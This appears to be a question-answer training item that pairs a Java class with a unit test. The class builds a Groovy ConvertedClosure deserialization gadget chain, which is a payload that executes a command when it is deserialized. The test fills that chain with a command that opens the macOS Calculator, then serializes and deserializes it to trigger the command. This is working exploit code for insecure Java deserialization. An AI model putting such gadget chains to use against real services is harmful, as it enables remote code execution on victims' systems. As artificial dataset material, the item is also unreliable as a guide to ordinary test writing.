### Question:
GroovyConvertedClosure extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { Object command = bullet.get("command"); ConvertedClosure handler = new ConvertedClosure((Closure) obj, "compareTo"); Object map = Proxy.newProxyInstance( GroovyConvertedClosure.class.getClassLoader(), new Class<?>[]{Comparable.class}, handler); return PayloadHelper.makeTreeSet(command, map); }  @Override Serializer<?> getSerializer(); @Override Bullet getDefaultBullet(String command); @Override Object pack(Object obj);  }### Answer:
@Test public void pack() throws Exception { Payload payload = new GroovyConvertedClosure(); Bullet bullet = payload.getDefaultBullet("open /System/Applications/Calculator.app"); payload.setBullet(bullet); Serializer serializer = payload.getSerializer(); String serialized = (String) serializer.serialize(payload.getObject()); serializer.serialize(payload.getObject(), System.out); Object obj = serializer.deserialize(serialized); System.out.println(obj); }